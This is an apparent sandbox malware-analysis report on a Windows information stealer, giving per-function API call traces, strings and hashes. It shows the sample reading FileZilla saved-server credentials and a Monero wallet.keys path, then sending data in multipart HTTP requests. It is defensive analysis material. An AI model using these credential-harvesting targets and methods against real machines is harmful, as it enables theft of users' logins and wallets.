StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 006F0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00700DB2), ref: 006F0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00700DB2), ref: 006F0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00700DB2), ref: 006F051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00700DB2), ref: 006F0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00700DB2), ref: 006F054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 006F0562
lstrcat.KERNEL32(?,profile: null), ref: 006F0571
lstrcat.KERNEL32(?,url: ), ref: 006F0580
lstrcat.KERNEL32(?,00000000), ref: 006F0593
lstrcat.KERNEL32(?,00701678), ref: 006F05A2
lstrcat.KERNEL32(?,00000000), ref: 006F05B5
lstrcat.KERNEL32(?,0070167C), ref: 006F05C4
lstrcat.KERNEL32(?,login: ), ref: 006F05D3
lstrcat.KERNEL32(?,00000000), ref: 006F05E6
lstrcat.KERNEL32(?,00701688), ref: 006F05F5
lstrcat.KERNEL32(?,password: ), ref: 006F0604
lstrcat.KERNEL32(?,00000000), ref: 006F0617
lstrcat.KERNEL32(?,00701698), ref: 006F0626
lstrcat.KERNEL32(?,0070169C), ref: 006F0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00700DB2), ref: 006F068E

Strings

<Host>, xrefs: 006F037C
browser: FileZilla, xrefs: 006F0559
<Pass encoding="base64">, xrefs: 006F045A
profile: null, xrefs: 006F0568
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 006F02A4
password: , xrefs: 006F05FB
url: , xrefs: 006F0577
login: , xrefs: 006F05CA
<Port>, xrefs: 006F03C6
<User>, xrefs: 006F0410

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: a8b7ac75ba2221b317f268fc1edf88544a115dc01154ae3e5bac2e9ac4680273
Instruction ID: c103ccc4a910d7f455c2a989d47d4701238ba0cbc9a2fdc34ef5c240dc552854
Opcode Fuzzy Hash: a8b7ac75ba2221b317f268fc1edf88544a115dc01154ae3e5bac2e9ac4680273
Instruction Fuzzy Hash: ADD14FB691010CABDB44EBF0DD96EFE737ABF14300F40851CF606A6095DE74AA0ADB65

Function 006E5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

Part of subcall function 006E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006E4839
Part of subcall function 006E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006E4849

lstrlen.KERNEL32(00000000), ref: 006E5193

Part of subcall function 006F8EA0: CryptBinaryToStringA.CRYPT32(00000000,006E5184,40000001,00000000,00000000,?,006E5184), ref: 006F8EC0

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006E5207
StrCmpCA.SHLWAPI(?,0165E510), ref: 006E5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006E5340
HttpOpenRequestA.WININET(00000000,0165E520,?,0165DCD0,00000000,00000000,00400100,00000000), ref: 006E53A4

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0165E440,00000000,?,01659EA8,00000000,?,007019DC,00000000,?,006F51CF), ref: 006E5737
lstrlen.KERNEL32(00000000), ref: 006E574B
GetProcessHeap.KERNEL32(00000000,?), ref: 006E575C
RtlAllocateHeap.NTDLL(00000000), ref: 006E5763
lstrlen.KERNEL32(00000000), ref: 006E5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 006E57A9
lstrlen.KERNEL32(00000000), ref: 006E57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 006E57E1
lstrlen.KERNEL32(00000000,?,?), ref: 006E580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 006E5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 006E584D
InternetCloseHandle.WININET(00000000), ref: 006E58B1
InternetCloseHandle.WININET(00000000), ref: 006E58BE
InternetCloseHandle.WININET(00000000), ref: 006E58C8

Strings

", xrefs: 006E5706
", xrefs: 006E5482
------, xrefs: 006E53B7
--, xrefs: 006E5280
------, xrefs: 006E54F9
", xrefs: 006E55C4
------, xrefs: 006E563B
------, xrefs: 006E5297

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 90ca6254225d53284e3c5de9f563bf38819aea04b5c7d5702033e1828eeb0e92
Instruction ID: 32b63a70dfa2ba1cdaecc2fdcc4a57506089330f711cdae534b31609d8d36860
Opcode Fuzzy Hash: 90ca6254225d53284e3c5de9f563bf38819aea04b5c7d5702033e1828eeb0e92
Instruction Fuzzy Hash: 79321EB292111CABDB54EBA0DC91FFE737ABF14700F4041ADB21A62091DF746A4ACF59

Function 006EA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006FAA70: StrCmpCA.SHLWAPI(016588C0,006EA7A7,?,006EA7A7,016588C0), ref: 006FAA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 006EAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 006EAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 006EABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006EA8B0

Part of subcall function 006FA820: lstrlen.KERNEL32(006E4F05,?,?,006E4F05,00700DDE), ref: 006FA82B
Part of subcall function 006FA820: lstrcpy.KERNEL32(00700DDE,00000000), ref: 006FA885

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

lstrcat.KERNEL32(?,00000000), ref: 006EACEB
lstrcat.KERNEL32(?,00701320), ref: 006EACFA
lstrcat.KERNEL32(?,00000000), ref: 006EAD0D
lstrcat.KERNEL32(?,00701324), ref: 006EAD1C
lstrcat.KERNEL32(?,00000000), ref: 006EAD2F
lstrcat.KERNEL32(?,00701328), ref: 006EAD3E
lstrcat.KERNEL32(?,00000000), ref: 006EAD51
lstrcat.KERNEL32(?,0070132C), ref: 006EAD60
lstrcat.KERNEL32(?,00000000), ref: 006EAD73
lstrcat.KERNEL32(?,00701330), ref: 006EAD82
lstrcat.KERNEL32(?,00000000), ref: 006EAD95
lstrcat.KERNEL32(?,00701334), ref: 006EADA4
lstrcat.KERNEL32(?,00000000), ref: 006EADB7
lstrlen.KERNEL32(?), ref: 006EAE0D
lstrlen.KERNEL32(?), ref: 006EAE1C

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

DeleteFileA.KERNEL32(00000000), ref: 006EAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 006EABD4

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 6fc90ba6f6b793f8c269d9473fe6ed6219d02271047ff065fb7dba49cdf73de0
Instruction ID: 06c291723f294f9652f567f52dd686fabe045911c4c0e359de7714db008de953
Opcode Fuzzy Hash: 6fc90ba6f6b793f8c269d9473fe6ed6219d02271047ff065fb7dba49cdf73de0
Instruction Fuzzy Hash: 08120FB2910108ABCB54EBE0DD96EFE737ABF14300F50415CF61AA6091DF746E0ADB66

Function 006E5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

Part of subcall function 006E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006E4839
Part of subcall function 006E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006E4849

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006E59F8
StrCmpCA.SHLWAPI(?,0165E510), ref: 006E5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006E5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0165E4B0,00000000,?,01659EA8,00000000,?,00701A1C), ref: 006E5E71
lstrlen.KERNEL32(00000000), ref: 006E5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 006E5E93
RtlAllocateHeap.NTDLL(00000000), ref: 006E5E9A
lstrlen.KERNEL32(00000000), ref: 006E5EAF
lstrlen.KERNEL32(00000000), ref: 006E5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 006E5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 006E5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 006E5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 006E5F4C
InternetCloseHandle.WININET(00000000), ref: 006E5FB0
InternetCloseHandle.WININET(00000000), ref: 006E5FBD
HttpOpenRequestA.WININET(00000000,0165E520,?,0165DCD0,00000000,00000000,00400100,00000000), ref: 006E5BF8

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

InternetCloseHandle.WININET(00000000), ref: 006E5FC7

Strings

------, xrefs: 006E5A96
", xrefs: 006E5CD5
", xrefs: 006E5E16
------, xrefs: 006E5D4C
------, xrefs: 006E5C0B

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: b8091a87f584fa8da306db6fa74835d9ac1a8529ba352a1c69fbeaa4e0e87ed6
Instruction ID: 16c6c42d219434936df4b605b69cc0e50041cf9a38702b1266ad603ca1c51027
Opcode Fuzzy Hash: b8091a87f584fa8da306db6fa74835d9ac1a8529ba352a1c69fbeaa4e0e87ed6
Instruction Fuzzy Hash: A81200B282111CABDB55EBA0DC95FEE737ABF14740F40416DB21A62091DF702B4ACF59

Function 006ECEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

Part of subcall function 006F8B60: GetSystemTime.KERNEL32(00700E1A,01659A58,007005AE,?,?,006E13F9,?,0000001A,00700E1A,00000000,?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006F8B86

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006ECF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 006ED0C7
RtlAllocateHeap.NTDLL(00000000), ref: 006ED0CE
lstrcat.KERNEL32(?,00000000), ref: 006ED208
lstrcat.KERNEL32(?,00701478), ref: 006ED217
lstrcat.KERNEL32(?,00000000), ref: 006ED22A
lstrcat.KERNEL32(?,0070147C), ref: 006ED239
lstrcat.KERNEL32(?,00000000), ref: 006ED24C
lstrcat.KERNEL32(?,00701480), ref: 006ED25B
lstrcat.KERNEL32(?,00000000), ref: 006ED26E
lstrcat.KERNEL32(?,00701484), ref: 006ED27D
lstrcat.KERNEL32(?,00000000), ref: 006ED290
lstrcat.KERNEL32(?,00701488), ref: 006ED29F
lstrcat.KERNEL32(?,00000000), ref: 006ED2B2
lstrcat.KERNEL32(?,0070148C), ref: 006ED2C1
lstrcat.KERNEL32(?,00000000), ref: 006ED2D4
lstrcat.KERNEL32(?,00701490), ref: 006ED2E3

Part of subcall function 006FA820: lstrlen.KERNEL32(006E4F05,?,?,006E4F05,00700DDE), ref: 006FA82B
Part of subcall function 006FA820: lstrcpy.KERNEL32(00700DDE,00000000), ref: 006FA885

lstrlen.KERNEL32(?), ref: 006ED32A
lstrlen.KERNEL32(?), ref: 006ED339

Part of subcall function 006FAA70: StrCmpCA.SHLWAPI(016588C0,006EA7A7,?,006EA7A7,016588C0), ref: 006FAA8F

DeleteFileA.KERNEL32(00000000), ref: 006ED3B4

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: f1ab29668d1b74aa9ad42ec44e4dc0bde1d53bf706e4727607bd03c6cd4bb953
Instruction ID: c1db8aa31c88e11bbdf92857269ccaeee81f0b0e9512edfba1da025967d41e7b
Opcode Fuzzy Hash: f1ab29668d1b74aa9ad42ec44e4dc0bde1d53bf706e4727607bd03c6cd4bb953
Instruction Fuzzy Hash: 20E133B2910108ABCB54FBE0DD95EFE737ABF14301F104158F60AA6091DF75AE0ADB66

Function 006E4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

Part of subcall function 006E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006E4839
